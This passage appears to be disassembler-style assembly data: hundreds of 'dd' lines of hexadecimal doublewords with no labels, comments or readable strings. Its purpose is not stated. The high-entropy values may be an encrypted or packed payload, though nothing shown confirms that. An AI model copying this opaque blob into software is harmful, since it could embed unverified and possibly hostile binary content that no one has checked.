		dd 95A46151h, 6EC12361h, 4989B359h, 781C3ECDh, 492212E3h
		dd 78AB6606h, 0EAB48606h, 0ABF6A9FCh, 7885DC11h, 0C9825373h
		dd 0A086E792h, 748086AEh, 7681D1F2h, 4F801926h,	6B001E66h
		dd 4841FC5Eh, 60206B0Ch, 57B01C83h, 17287CF6h, 0E70032D6h
		dd 86E2F3A0h, 76C3FE39h, 0CF2F62FDh, 0A0D15E1Bh, 0B428422Ah
		dd 17D433FCh, 5FAA0A1Dh, 0FB0B36F3h, 884AA812h,	22AD2Eh
		dd 44B2C5B2h, 6EE8977Eh, 0B8CC592h, 411A11C2h, 6743186Ah
		dd 57A69566h, 6670B8A8h, 1709C52Dh, 0C73C2CB5h,	0A6A20547h
		dd 972FF6B6h, 1EC96846h, 7B2C5D38h, 6AD23C65h, 0E9AB7359h
		dd 9014AB95h, 0B4CAA6CDh, 97EAC0F5h, 0BF92D127h, 881AA7A8h
		dd 7844C67Dh, 0C9A6901Dh, 0A8B1D903h, 0A988528Ah, 108C1856h
		dd 7F820530h, 6B831081h, 88809937h, 80003EB6h, 4400C40h
		dd 47E01339h, 0E7701685h, 971866F9h, 0B0BC25D5h, 94A67D21h
		dd 9EB12D79h, 0B889A25Dh, 880C2E53h, 0B9C20222h, 8A377E6h
		dd 58909616h, 7988B9F4h, 884CC1Dh, 0C182D36Dh, 0A4872793h
		dd 0F680A6AEh, 378021F2h, 6F000126h, 7B401266h,	70A1FA5Eh
		dd 6C306A0Ch, 56481C03h, 0E76C7D36h, 163222B6h,	777BE3B0h
		dd 76236E31h, 0CF3EA2E1h, 0A0293E19h, 0B42FB235h, 97AA2BFDh
		dd 9FAB061Dh, 9B0BB0F3h, 984B6912h, 78228DAEh, 48B33472h
		dd 68E88F1Eh, 88CC982h,	409A17CAh, 67831976h, 578695E0h
		dd 6680B969h, 9701C54Dh, 86C02CA5h, 86A0054Fh, 8710F6AAh
		dd 6C8E844h, 472C1D27h,	0E8D21C64h, 28AB6359h, 0F094A395h
		dd 0A48AA2CDh, 0EF8AC2F5h, 0B382D627h, 8E02A628h, 7B40C63Dh
		dd 0C820903Dh, 0A870D973h, 0A9A8D292h, 107CD852h, 7F8A2532h
		dd 6A7F2086h, 8826136h,	403F22B6h, 64418240h, 77E05239h
		dd 0EF703605h, 93187639h, 0B6BC2C35h, 97A67931h, 9F312F71h
		dd 0B849A551h, 882C2FD1h, 0B9B20261h, 88AB77C9h, 988C9667h
		dd 998AB9ECh, 1883CC19h, 0D983536Fh, 0D8876794h, 388046AFh
		dd 0D08031F2h, 1C800926h, 72801666h, 7481F85Eh,	6E00650Ch
		dd 51401D83h, 0E4E07D76h, 17F02296h, 7758E240h,	761CEE29h
		dd 0CF36E2E5h, 0A0251E17h, 0B42DA234h, 17A923FDh, 0DFAC821Dh
		dd 0BB0BF2F3h, 0E84B0A12h, 30229A2Eh, 6CB33C32h, 7AE88B3Eh
		dd 718CCBB2h, 4C1A14B2h, 61C316F2h, 576695A2h, 6610B94Ah
		dd 1779C57Ah, 47242D5Ch, 66BE054Bh, 0F729F6ACh,	0ECC6845h
		dd 0C32DDD27h, 0A6D37C64h, 0FAB9359h, 0C32B7B95h, 0AD4A8ECDh
		dd 0EBAAB4F5h, 0B1B2CF27h, 8F0AAAA8h, 7BCCC7FDh, 0C862915Dh
		dd 0A813D9E3h, 0A9BF555Ah, 1064984Eh, 7F8E4524h, 6A79308Fh
		dd 8883694Ah, 3FA6B4h, 44414047h, 0E7EFB138h, 37703985h
		dd 0EF180E79h, 0A4BC3015h, 0AEA67701h, 93B12E89h, 0BE09A5D5h
		dd 8B4C2F17h, 0B8220580h, 87377D9h, 0D8A8966Fh,	0B9FCB9E0h
		dd 288ACC67h, 0D19FD36Eh, 5C85A794h, 7A8766AFh,	0F18181F2h
		dd 0C007126h, 4AC00A66h, 78E1F65Eh, 68106C0Ch, 50581903h
		dd 0E4647FB6h, 17B62D76h, 77B9E3D0h, 760C6E61h,	0CF4E22C9h
		dd 0A022FFE5h, 0B433922Fh, 97A85BFAh, 1FAC1E1Ch, 5B0A3CF3h
		dd 0F84B2B12h, 28226AAEh, 70B324F2h, 64E884DEh,	0E8CCDA2h
		dd 439A15BAh, 6603167Eh, 5746945Ch, 6620B92Bh, 9771C56Ah
		dd 7282D54h, 46BC0557h,	0E72AF6AEh, 36CFE84Ah, 4F2D9D26h
		dd 64D35C64h, 6EAB8359h, 0D3AB7395h, 0D50A8ACDh, 0A74AB6F5h
		dd 97A2CC27h, 9C72A928h, 248C7BDh, 0C4BC917Dh, 0AE32D9D3h
		dd 0A94FD562h, 10ED584Ah, 7FF26526h, 6B9BC08Ch,	89C7149h
		dd 0C0062AB7h, 0A4450640h, 17E19039h, 0BF712905h, 0AB1887B9h
		dd 9943F475h, 81A65511h, 84315981h, 85C9BC49h, 896C2355h
		dd 0B91203AFh, 88FB76A8h, 18E496F7h, 0D99EBE24h, 3899CC05h
		dd 0A9845379h, 9081E79Dh, 9C8106D3h, 828091F0h,	580F921h
		dd 0CE00CE67h, 0BAC1D45Eh, 8E05F0Ch, 43D1E283h,	226763F6h
		dd 1B91DCA9h, 718D22E0h, 7518EED9h, 0CEC6A20Dh,	0A076DE03h
		dd 0B414423Eh, 1752D3F2h, 5FAC9A10h, 7B985EF1h,	0C841FC11h
		dd 0A0AA6331h, 0B4BA60B3h, 8678C6FEh, 1F842ED2h, 5B8B1A22h
		dd 1A4BDE3Ah, 59B4907Eh, 61387B1Ch, 147ACA93h, 0C6E4ECD0h
		dd 269A0511h, 0D71BF68Fh, 0BEC769BAh, 0B215D3Eh, 42D1BC60h
		dd 5DA8B35Bh, 0DA14CB8Ah, 55CAF6CCh, 656AE8F5h,	0F6D2DD27h
		dd 0ACFAA1A8h, 0A14C37Dh, 0C0DE939Dh, 0AC25DAC3h, 0AA5652EAh
		dd 11691806h, 7F348508h, 6BBAD0BDh, 886CF931h, 800EEEB3h
		dd 84BAE442h, 7E39F3Ah,	478E5082h, 27191BF8h, 5F43BA55h
		dd 0E0A7B4E1h, 0B4B14919h, 8D89B48Dh, 828C24BBh, 0BF0201BEh
		dd 0BC371A0h, 5960977Bh, 0F950BE5Ah, 48B8CC24h,	61F4D309h
		dd 0F48A2785h, 0AE9D26D7h, 8B82E1EEh, 107E120h,	4C414267h
		dd 0FA21925Eh, 2970BE0Ch, 3329F203h, 0D5BC6836h, 1F6A2736h
		dd 738FE0F0h, 747961D1h, 0CE43A3B1h, 0A0BFBE41h, 0B4F17219h
		dd 97CF8A03h, 9F5DB608h, 0FDF248F5h, 0D8B7251Fh, 982467B0h
		dd 38B22173h, 0C0E9019Eh, 3C8C8F42h, 2A9BEA6Ah,	52830626h
		dd 7D069C08h, 7340BD05h, 0EDE1CB97h, 0CA702C4Eh, 20D804D0h
		dd 57FCF6EFh, 0FE56E9AAh, 2B591D36h, 31359C7Ch,	55B6A35Dh
		dd 0DE2DC38Bh, 0D3CE72CCh, 246B2AF5h, 0D6538227h, 0BCBA5028h
		dd 12F71B3Dh, 0FCCEBFBDh, 0ADDDAC33h, 0AB524BF2h, 11D71482h
		dd 7F7584CAh, 6BDA51D2h, 87D39A0h, 40168D7Bh, 0E4BEF45Eh
		dd 37E5872Ch, 4F8F5C8Bh, 0A3199DC4h, 1D437B57h,	0C3A79466h
		dd 253178D8h, 55484CEDh, 0FEAC38ABh, 0B2F20FB6h, 32CB70BCh
		dd 55DC97FDh, 0FF12BE9Bh, 0CBD7CDC4h, 20655319h, 0D452678Dh
		dd 0BEBAC6DBh, 93F4F1ECh, 3D0EE923h, 0C25DC678h, 3B23505Fh
		dd 0C9F7990Ch, 23684383h, 0CDDC1076h, 637A3B16h, 7D97EE80h
		dd 737D68C9h, 0CDC5A735h, 0A17EBCBFh, 0B4D1EDF8h, 17FF4B93h
		dd 0DF559640h, 3B1E78D9h, 0A8B5CDEDh, 90277BABh, 0BC4DAF74h
		dd 2E9409Fh, 0DD8CAFC2h, 3A1BFAAAh, 4AC30FC6h, 61E69818h
		dd 6D50BF0Dh, 9299C89Bh, 85F42BCCh, 7060493h, 0C7DDF6C0h
		dd 2666699Bh, 0D750DD4Eh, 3F39FC78h, 4CE4535Fh,	0A2AEDB88h
		dd 0FB77FECBh, 0C30B7CF4h, 25C0A327h, 5CB440A8h, 16D302FDh
		dd 0FEF8BBDDh, 0A2D4AE23h, 0ACDEC8FAh, 1215D71Eh, 7F56A48Ch
		dd 6BE5E1F3h, 88754190h, 1A9143h, 0C4BCFA5Ah, 27E68E2Eh
		dd 578CD808h, 5F19DF07h, 934318B4h, 2A783F1h, 2C677091h
		dd 0A50858C1h, 0F6CC3A99h, 0B6E20CCDh, 8CD3733Bh, 9AD897BCh
		dd 1894BEBBh, 0D816CDF4h, 3845D321h, 0C862A789h, 0A0B2E6DDh
		dd 8CF8C1EDh, 828C9123h, 8D9EDA78h, 1B00DE5Fh, 0F9C7D80Ch
		dd 0C2B62303h, 0C9D010B6h, 617830F6h, 7C94EA90h, 73FEEAC1h
		dd 0CD85E439h, 0A11E9F3Dh, 0B4C1DDBBh, 97E743B4h, 1F519271h
		dd 0DB187AE1h, 0B8B4CEE9h, 8827F82Dh, 804D6F35h, 8CE9A0BFh
		dd 9A8CBFF2h, 0F04DC292h, 7B0363C2h, 69C6861Ah,	6960BE0Eh
		dd 1091C818h, 44F82B0Fh, 0E7840470h, 379EF6DFh,	0AE01E992h
		dd 13409D42h, 5D21DC76h, 63B0435Eh, 5528D388h, 164CFACBh
		dd 0C52BEEF4h, 26F36027h
		dd 59B69F28h, 0FB4332BDh, 138693FDh, 4E7BC213h,	41894602h
		dd 0FF75861Ah, 9208D40Eh, 1495E130h, 770BB600h,	0BF65AA2Dh
		dd 5BCC672Dh, 0BABB9D22h, 0B2D0C386h, 0B645CB46h, 11430A94h
		dd 45A784C1h, 0E6310ED9h, 0B4C84885h, 8EEC4547h, 0BAD20CBCh
		dd 0EDB4FB3h, 0DBD497B8h, 38168085h, 0E855CDF5h, 0B1AA1313h
		dd 8C72E789h, 780A86DDh, 0FDFCD1EDh, 8A029923h,	8911DE78h
		dd 0E50C5C5Eh, 3781B0Ch, 2BF80483h, 0C99470F6h,	63B028D6h
		dd 8111E6A1h, 88766CB9h, 0CD81253Dh, 0A1007FBBh, 0B658D27Ah
		dd 0EA3BFBD5h, 0A3006E61h, 0FB1824E9h, 88B43F15h, 829FE0AFh
		dd 7A7163F3h, 0F2B1A65Eh, 5B8CBEE2h, 791BC21Ah,	6857720Eh
		dd 0AFE28675h, 6570BE1Fh, 9689C810h, 7FC2B13h, 0C6020476h
		dd 275FF6DEh, 0A8796992h, 0E1585D42h, 0A5AC3C76h, 9C30735Eh
		dd 0AB1E2B88h, 0E8CFE6CBh, 381E60F4h, 0D8092127h, 4A2ABFA8h
		dd 0E915327Dh, 1CA8A1Dh, 5C08D603h, 5395D40Ah, 0ED7E5916h
		dd 8036E590h, 949E8171h, 7708D15Fh, 7F88DAA2h, 0FB111E4Ah
		dd 0B8569C26h, 984ED304h, 0A8CBD8B9h, 68A31AF5h, 7B5784D1h
		dd 86B57121h, 849848B8h, 862A3ABCh, 0BEFE0CBAh,	8B6B7323h
		dd 188497B9h, 59CCBEC4h, 0F8E4CDF4h, 890CD320h,	80232788h
		dd 8430A6DCh, 0FDA321ECh, 88B08122h, 8A3ED279h,	1A0FDA5Eh
		dd 0FBFE5A0Dh, 289DE402h, 0CAF26137h, 621A20B7h, 7F16E2B1h
		dd 7025EEB0h, 0CE2F6220h, 0A2BC5E38h, 0B708C204h, 9433F3F4h
		dd 9CB46A10h, 98E426F0h, 9CBE2010h, 0FC31E130h,	8C6163B2h
		dd 8CDFA67Fh, 1CC8BE13h, 5CC9C203h, 1FED720Bh, 5D0E8677h
		dd 651ABE11h, 1029C810h, 0C23C2B12h, 0A24E0477h, 13E0F6DFh
		dd 5A38E993h, 1E321D43h, 5FF21C77h, 649A635Fh, 512A2389h
		dd 1384E2CAh, 0C38CE2F5h, 226AE626h, 0B15EDE29h, 1624C23Ch
		dd 0FE0A923Dh, 0A3C7DA72h, 0ADD45213h, 13241813h, 7E4D0513h
		dd 6AC490B7h, 93AD93Fh,	4170DEB3h, 65CF1C43h, 766A9B3Bh
		dd 6E2ED283h, 52A1D8F9h, 14931AD4h, 0C64F84A0h,	0A6C97138h
		dd 964248BCh, 9C363D42h, 82B20CBBh, 5587322h, 59B817B8h
		dd 793D3EC5h, 88C64DF5h, 81E8D321h, 8481E789h, 8696C6DDh
		dd 0FF8EB1EDh, 8B020923h, 89435678h, 19ACD85Fh,	0F8B1150Ch
		dd 2B864583h, 0C99CD176h, 61915896h, 7C897D40h,	73B3E0A9h
		dd 0CD862325h, 0A139BEB7h, 0B4CBB2C4h, 17F36A15h, 0DF41E601h
		dd 0BB77A0F9h, 0E8B4A11Dh, 0B283E1B3h, 0AC4D6271h, 182FA611h
		dd 0C35ABE02h, 0A6F1C20Bh, 16C37217h, 41668671h, 0E348BE11h
		dd 2491C811h, 5F602B13h, 6B820476h, 0E06DF6DEh,	0A4206992h
		dd 0E7C5DD42h, 0A7337C76h, 9EDC935Eh, 0ABD8FB88h, 0E9F7CECBh
		dd 39BB54F4h, 0D85A9F27h, 4B92C2A8h, 0E944D3FDh, 1A59B5Dh
		dd 5C545EE3h, 534610DAh, 0ED88FB0Eh, 80E31284h,	942898FFh
		dd 77A6DD12h, 0FFFADC80h, 0BB431339h, 0E7E29ABDh, 0B79CD2C2h
		dd 0AF3FD8D9h, 1B7F1524h, 0DEEF84B8h, 0BBE5713Ch, 8A6C48B2h
		dd 813C3D43h, 3DA40CBBh, 4A537323h, 795A97B9h, 0A3CBEC4h
		dd 0C3EACDF4h, 0A6D9D320h, 95DFA788h, 9CC766DCh, 806881ECh
		dd 863CF122h, 8A27CA79h, 1AA5565Eh, 0FB6A9C0Dh,	2843C102h
		dd 0CA2E53B7h, 6253DB77h, 7F537ED1h, 7062A0E0h,	0CE7DC308h
		dd 0A50AAE84h, 0B0D6EAFEh, 93CBC613h, 1B665001h, 5F5C59F8h
		dd 0FCE63D9Ch, 0AC49E072h, 0B4C56311h, 73A680h,	0DA24BECAh
		dd 0BF27C217h, 0ECD7201h, 45A68678h, 99D8BE1Ch,	9FE3C812h
		dd 84CA2B11h, 2E0470h, 0C3E4F6DEh, 0A3A9E993h, 12779D43h
		dd 45A15C77h, 5920835Fh, 5A96F389h, 1155CACBh, 0C5EB56F5h
		dd 27C29C26h, 0B5ECC129h, 170ED3BCh, 0FFF69B7Ch, 0A26ADED2h
		dd 0ADBCD0E3h, 1355DB0Bh, 7ED8A287h, 6A48E0FDh,	9CCC110h
		dd 0C1CAD282h, 0A55B1A3Bh, 161E9E3Fh, 3D86D001h, 6903DB3Ah
		dd 0F9431AB3h, 31D484F0h, 2C45F111h, 0D1DFC881h, 0BF79BAB9h
		dd 92118CBDh, 9D69F323h, 822817B8h, 1B373EC5h, 0D9ED4DF5h
		dd 0B96ED321h, 88D06789h, 80FA86DDh, 0FC9811EDh, 8A8DF923h
		dd 89960E78h, 190DB45Fh, 0F8F50F0Ch, 2BE7CA83h,	0C9A917F6h
		dd 61937956h, 7C904DE0h, 73975B59h, 0CDEE5F4Dh,	0A10020A3h
		dd 0B664E3CEh, 17E7C2ABh, 5D9652C4h, 79CE5A1Eh,	0CA5E3E0Dh
		dd 2327E03Ah, 0F44D633Dh, 26E9A6B3h, 0BBF8DBB7h, 7070A178h
		dd 0BA2D076Eh, 0A3268679h, 0F859D054h, 0EB05A97Ah, 0EFEF4E6Ah
		dd 78137018h, 0BC989ABEh, 0D6161DF1h, 8D55D2Ch,	258BD233h
		dd 35E7F02Ch, 3BFD22FCh, 72E065A7h, 0AB68E180h,	26C1AD27h
		dd 0C2801CE4h, 7F62EC18h, 9FBBACE9h, 0C0419CAFh, 0C2B9B11Eh
		dd 1229DFC6h, 2C20C52Fh, 0AA28799h, 0ED18A6F7h,	801AD2CFh
		dd 0C8C77F53h, 6B87FD60h, 0A2E1B96Ch, 6719DB3Fh, 0B2377FF7h
		dd 5CD2E09Ch, 0C0D83777h, 7CE906E7h, 5C8C7BDFh,	0D4E0CBEh
		dd 542F1243h, 254FFBD7h, 0E530BEBAh, 578DBFB7h,	47AAB655h
		dd 0B25342E5h, 0D0B256ADh, 93A7A08Ah, 0D8526123h, 0F128CE0Ch
		dd 6957772Bh, 0F9F2FC63h, 4A27CA03h, 0ACB58246h, 271CD641h
		dd 7CF2B199h, 1DA85351h, 9BF5FA1Ch, 0EE69A7C8h,	0D8A8B6AFh
		dd 97E7494Eh, 0F134E6CBh, 7E741179h, 0A8C4AC71h, 594095EAh
		dd 0F84D6F78h, 5386CCD6h, 82EDF7A4h, 0B2FEAECDh, 0E1C073C5h
		dd 0F167F672h, 0CE34ED69h, 4B06A672h, 0D9B02B0Ch, 5C1D6820h
		dd 0E8CCF6A0h, 548A87DAh, 0AFFA7130h, 67FBF91Dh, 2CEDC026h
		dd 226324E6h, 2F8232CBh, 8615EB91h, 50A4C76Ah, 0CD79B950h
		dd 6A9B6F3Dh, 8DB34BD8h, 0E2AD9A47h, 0AC5E6072h, 73305181h
		dd 0CE61B1Eh, 1890B18Dh, 84D3B6Bh, 254DAE0Fh, 97D38880h
		dd 4595CA6Bh, 0CF8C2ADFh, 65A1FF3h, 98375D32h, 56CB9AA4h
		dd 2D3168DBh, 53C2189h,	2CDC51F1h, 329A79AEh, 0ED4B73B8h
		dd 1E68FD38h, 0A142D3BDh, 7982A18Ah, 0EF083E49h, 135E6675h
		dd 0A444A99Ch, 0C6DB98ACh, 352D6963h, 39E32Bh, 3C4E5C36h
		dd 8381FD78h, 779E3EE1h, 0C51F5505h, 60DB916h, 10A1D9E9h
		dd 1C1C183Bh, 823CFB12h, 0C259AEBDh, 0B4B6F1BCh, 659ABAC7h
		dd 0B134A527h, 3B1A981Eh, 0DAC7AE40h, 79561EE8h, 0FC4D2B05h
		dd 438CF0D4h, 9BC9D5B2h, 736FA54Dh, 4EC37785h, 0A692E16Ch
		dd 0D83ED48Ah, 3219C983h, 93C04E0Fh, 7E036834h,	82BF8555h
		dd 0D50A1CE9h, 8C549C35h, 6CF6FC74h, 51873655h,	8F6538E6h
		dd 0DAA57BAFh, 0F60DED9Ch, 58B3F242h, 0C9F878A8h, 5BE04BBAh
		dd 997368B2h, 0C9098B4Dh, 0ADE70D14h, 7B3527DEh, 12EA1D1Fh
		dd 19949986h, 0C4259AFDh, 616D0C26h, 0A5F2DDA6h, 278B1383h
		dd 99DE45E3h, 2D2D3FB2h, 9F2F4A72h, 32A7FAEDh, 0EED60949h
		dd 0E569207Ch, 65A97491h, 43A3721Ah, 800173F0h,	3A7DCB04h
		dd 9458DFB8h, 759E88FFh, 2FEDD32Ch, 10F9C321h, 986789B2h
		dd 323EA4A1h, 8771122h,	1F01D51Fh, 364C7531h, 0E3BDF049h
		dd 7339CB03h, 0AB3A10D1h, 2D502A93h, 7F36C4F5h,	1C644341h
		dd 0AC54E710h, 0C450AFB1h, 0C1CC9398h, 0EE9E215Eh, 7C387041h
		dd 0AF6BD10Dh, 0B8B31F33h, 6D758B93h, 0A3286434h, 5880FE9Ch
		dd 99960DBEh, 0C1F2A5CBh, 4B711631h, 0C3AAE6BEh, 0AC2FB16Ch
		dd 7942A72Eh, 0B0D64BE9h, 7C166128h, 0EACEF12Ah, 5E9C99CBh
		dd 3A66F814h, 0A33ABF1Dh, 2DE54321h, 81193FCAh,	0D7BC69AEh
		dd 8A1EE782h, 57B8D16Fh
		dd 0CE789244h, 6E04EEBDh, 0AB471798h, 0C9036D76h, 0D9FD14E1h
		dd 61085FBBh, 7E8A7A6Eh, 59EA4A3h, 6D111E60h, 0A37659FCh
		dd 4ADEC7D1h, 169F0699h, 0DF8C08A0h, 757F1FA8h,	9410493Dh
		dd 56CE8F9Eh, 405E2CFEh, 0E2AF2C28h, 3CEC3F95h,	21B37E3Ch
		dd 8F3E20BCh, 5777F111h, 0E336BEADh, 5480BFDAh,	0CA01365Bh
		dd 0F0B79006h, 1D74C7BAh, 0A713D1EAh, 497C4Eh, 807FB2Bh
		dd 714A5F36h, 89AF8B0Ch, 749E1DE4h, 0A5C9ED84h,	23700BBAh
		dd 7F47CCD8h, 33737F78h, 0FF02C62Dh, 0CD44ACF5h, 0B4DFF7CAh
		dd 179DC8ACh, 5F5C55C5h, 0FB0EDF9Fh, 88B07D4Ch,	34839Bh
		dd 0C441334Ch, 2EE08EEBh, 0EBF74AC4h, 3119D42Fh, 0CF4E7904h
		dd 23A785FFh, 0CC7FB15Ch, 2219C973h, 0EDAF2AA0h, 33680449h
		dd 0EDFBF12Bh, 0B37F6984h, 0DED5D47h, 0C2753C74h, 1DC17321h
		dd 0FA6EAB89h, 0A1BA26CBh, 0BE2880F4h, 19EF268h, 0A29B599Ah
		dd 1B15AE11h, 0B12A215Ah, 0D20A4973h, 0C9C418FDh, 7E1B4E82h
		dd 0EE57815h, 0A8EA389h, 0EC6C9DF7h, 801F83A2h,	6AF86494h
		dd 298A3ABBh, 97C3453Dh, 175F658Ah, 990A3258h, 5AD59D9Bh
		dd 0DEFE1B61h, 62DD2BEAh, 0DC0C7E58h, 4D8B0A7Fh, 9BD116B4h
		dd 5A53EC0Eh, 0A6ADCD8Dh, 5E80A3F9h, 2CD2D34Ah,	0B76B483Dh
		dd 4931C8ADh, 0B60744B8h, 78596864h, 3B2E9278h,	36637311h
		dd 819AA458h, 1154CC6Fh, 0B0B6A761h, 99A5DD3h, 1A3BF2C3h
		dd 721D3370h, 9E46E735h, 0C070BEBCh, 0B4C881B9h, 0E5AA4F2Dh
		dd 0FA38F4E0h, 0FE6997EBh, 98B3691Dh, 1D749BE3h, 0AD204A3Bh
		dd 4D9BE0B9h, 0E8F32FA4h, 0C8DED4AFh, 0E7D702ADh, 67E7E0EDh
		dd 0FC80B14Ch, 5E73A02Dh, 0AF2C4A29h, 31056139h, 98E2F12Ch
		dd 4496BCE9h, 0CDF0732Eh, 0C7561C74h, 7F861340h, 0A713C2ECh
		dd 0ADD122CBh, 9B18E7BCh, 45A7D363h, 0CF06995Ah, 7E9D6E3Dh
		dd 943ED45Ch, 0A076501Fh, 0C8F78192h, 773743B3h, 11E21A33h
		dd 6BF9CE85h, 7822114Eh, 257ADD48h, 64B14574h, 7992A97h
		dd 8AF65003h, 131E0FE3h, 8522550Eh, 5ECB96B8h, 4A450FE0h
		dd 504845CFh, 99405A50h, 41F168FBh, 0AEC207B1h,	5F5FF40Eh
		dd 87A3CA83h, 33E3CD89h, 0CD36216Dh, 7B190300h,	5DF523B3h
		dd 8E2231EAh, 79A14851h, 767DF517h, 1394385Fh, 9C8AC678h
		dd 64BA28F1h, 0A16C7D22h, 39C5AF7h, 7FA66C40h, 3466477Dh
		dd 0CD2CE217h, 0CD70CCD7h, 0C0D7B2A7h, 6284AEFBh, 0DF4CD420h
		dd 0CF73679Ah, 8BDC6F3Ch, 3055E08Eh, 82183B54h,	5E87EB87h
		dd 949729B6h, 4C7EB656h, 27AC1FF0h, 170AECF9h, 0EC10C359h
		dd 373EC963h, 96DD782Ch, 63136121h, 0AEAC9C44h,	0DE152FF6h
		dd 0E03C8922h, 823F7C11h, 2E41F666h, 0BE1C1AFDh, 0C7647EBEh
		dd 0E93A1B92h, 55ECAF27h, 0A3973CDCh, 6BEC7B98h, 0F89F8538h
		dd 0E3714AA4h, 0C935FA2Fh, 603143A0h, 0DD5170Bh, 6BF8C99Ch
		dd 0E43380DEh, 747F0C25h, 2AD06D3Eh, 0E782D3CAh, 52DF2148h
		dd 17F4B93h, 0B8265A20h, 3AC98386h, 0E3B16E05h,	0F37C2148h
		dd 0FD25491Ah, 5F4F63F0h, 0BD2007BEh, 5F46F101h, 0E83CBE95h
		dd 550FBFA0h, 44D9BD6Bh, 3F13C906h, 2EFF08BAh, 9C16F39Eh
		dd 0D800245h, 23298A78h, 19A5422Dh, 83944D60h, 10546A6Ch
		dd 0AD0877B6h, 6C05D04h, 1AC334BCh, 720D5613h, 0BF1A8549h
		dd 0E747BBCCh, 0B4D69626h, 0F2BB4FEAh, 7B384710h, 3F745EA7h
		dd 0F8B349F8h, 4D756BEFh, 9E226426h, 4185EB9Dh,	2813999h
		dd 17F5B4E6h, 6E711328h, 3615845Fh, 8849F758h, 3F1E990Eh
		dd 95CD5F3Ah, 367C0457h, 8B2B947Ch, 575380CCh, 4D359D46h
		dd 275B3927h, 0B62E74Fh, 0B7061ACFh, 0D52B0ACBh, 0A77A76F4h
		dd 17AB2C27h, 0DC7EB928h, 224ACFBDh, 0F4BF957Dh, 0A63557D3h
		dd 0AD4F9462h, 12ED39CAh, 7EF27566h, 6B1BC96Ch,	85C7559h
		dd 0C06628AFh, 0A4B50544h, 17F9AFA7h, 0BF8D2944h, 2B1E8799h
		dd 0D942F445h, 0A1A7D5E9h, 94319985h, 0BDC85C4Fh, 8D6C3354h
		dd 3B120BAFh, 0C9FB72A8h, 386498F7h, 0E9DEBF24h, 3079CD85h
		dd 0BD945339h, 920DE67Dh, 0AD8806C3h, 0B23DA1D5h, 3592C960h
		dd 0FE0D7E1Eh, 8AAD2428h, 0B86A4F80h, 334A221Bh, 8D4D4B35h
		dd 1AB91F8Fh, 68D255A8h, 50631E83h, 0C5BFB3E1h,	9C71FE49h
		dd 834FCB9Bh, 26F5FE07h, 6DE56603h, 49586DD4h, 0FA000ED6h
		dd 92575189h, 62491D5h,	743FF479h, 4D6C5C00h, 7827E91Eh
		dd 5900C6A3h, 69AC7C4Ch, 0D964AFC6h, 696100FAh,	0C76C32D0h
		dd 36C60811h, 0DD10F70Fh, 80615AB7h, 3FAC6FABh,	709D8F3Eh
		dd 6FDB819Dh, 0E94EF89Ah, 625F4597h, 56DA9B7Bh,	45130E8Eh
		dd 0DF1A8278h, 99F7F88Eh, 4FDA394h, 0F06A6C83h,	8A23A1B6h
		dd 5FF50D14h, 468E41E5h, 59C5FC44h, 0BE6AC047h,	0B46BDDC1h
		dd 0B1F6D0D0h, 316FAA77h, 70A46658h, 9F2E2393h,	0A05182F4h
		dd 0B9E20DFFh, 0BED9B328h, 0BEC1EE43h, 0BD4E4F21h, 5141249h
		dd 0F4FA4182h, 44FAD1Ch, 0D4A3867Dh, 0DF9F2F4h,	107CE949h
		dd 0ECD019FCh, 831D18E4h, 0ACFDDF16h, 0DC0DEF8h, 4350C261h
		dd 0CCB1D25Bh, 98126F78h, 410BD023h, 47375291h,	0FC9D105Ah
		dd 1F0256ADh, 5D561A0Eh, 0C5CCB746h, 9A0CFB96h,	87B2CF85h
		dd 0A15F7A3Ah, 0ABD5A1F2h, 2EB54A00h, 0EE7AFA96h, 0AE144DEEh
		dd 8E8B1979h, 0B6A536ADh, 2AD33995h, 6CE71CC4h,	2C139143h
		dd 6F9B1A89h, 0D7F3B3A9h, 62220126h, 0D0210084h, 7F3F32h
		dd 0D9E7C28Dh, 5DED063h, 0FAAD2AC1h, 146DAA0Fh,	75399B74h
		dd 9A19FA4Ch, 0A571CA95h, 3BF0D26Ch, 7D02DAB8h,	5DB098F7h
		dd 0D62DFBE9h, 2BD4AB4Ah, 0CD9C6306h, 8EBBABA2h, 56110177h
		dd 49CE4CB5h, 55B6F154h, 318A4F26h, 7BF8928Eh, 0DE68FF12h
		dd 0DB3B5C0h, 75AAE3E5h, 18086572h, 65926361h, 0D8C218A1h
		dd 8E963B17h, 0B68C2B6Bh, 0B945AD4Ah, 0F31D34h,	0F7843871h
		dd 53CB16Ah, 0D539891Eh, 0C16F2C8h, 914468F7h, 2E4C5B98h
		dd 0E14BFDA4h, 9EEACD34h, 8882D45Fh, 3B167B0Ah,	0E37CADAAh
		dd 0E72884CFh, 84D6CE6Dh, 2F995619h, 0C3AC19B6h, 1DA05F89h
		dd 53871EAFh, 0CDB6BCCBh, 9080F1AFh, 8C19C5F0h,	5476CE03h
		dd 0DF81D408h, 0BA89FF5h, 9845EC82h, 0A01BC3B6h, 0C39DB3Ah
		dd 0F23E5262h, 0C96B1D8h, 1B6A421Ch, 63517A03h,	4C5E0B93h
		dd 0C29DBD3Ch, 1C4702DBh, 0D8790675h, 2E73CA9h,	0DDBBC7C3h
		dd 8027556Eh, 0BFD0EFF4h, 30E6CF13h, 0E396193h,	5941E975h
		dd 0CA7D4DEBh, 2101F8Bh, 0FF26B0A2h, 125D632Bh,	0FF2A294Ch
		dd 51F38C06h, 0C9411FDEh, 8766BFD2h, 59E800CAh,	450440ACh
		dd 5842FDA9h, 0BF54C13Ah, 35855BC1h, 0F13B91BEh, 130A4A82h
		dd 6207B40Dh, 0EA5A8694h, 693E7BC7h, 0D7009F60h, 79F1C8h
		dd 7B25472Fh, 0D48CAFB6h, 1A9B093Dh, 0C5003ED1h, 3A2BDD2h
		dd 0D84D839Eh, 483F9E6h, 1B24E2DCh, 652B9017h, 0CAD1D612h
		dd 5F7F6A3h, 0DA5CA6C6h, 0DD46DCBh, 0E764A996h,	64328FCBh
		dd 0C98B44D2h, 4A91F5Ch, 0D4383CF2h, 213A8D2h, 680711ACh
		dd 0CAF6BF42h, 970FF544h, 8A36CC4Eh, 0AE7375B8h, 241F2E0Fh
		dd 0E12085B8h, 82D257C8h, 0B293313Bh, 3BBCCD8Ah, 0F7BF57E4h
		dd 1F122A1h, 9236842Ch,	0A8B756F4h, 26273004h, 0FF5F4849h
		dd 19FB108Fh, 0D2EC0566h, 0E6F3336h, 0D03CC9C7h, 0EDEDB20h
		dd 70A5A149h, 0DF7FE088h, 10477E10h, 4FF9EFFEh,	0D8014717h
		dd 31771319h, 7D8BBE66h
		dd 0D8D8F14Eh, 11EC6410h, 4CE76131h, 0DB8002E3h, 0F003BC0Ch
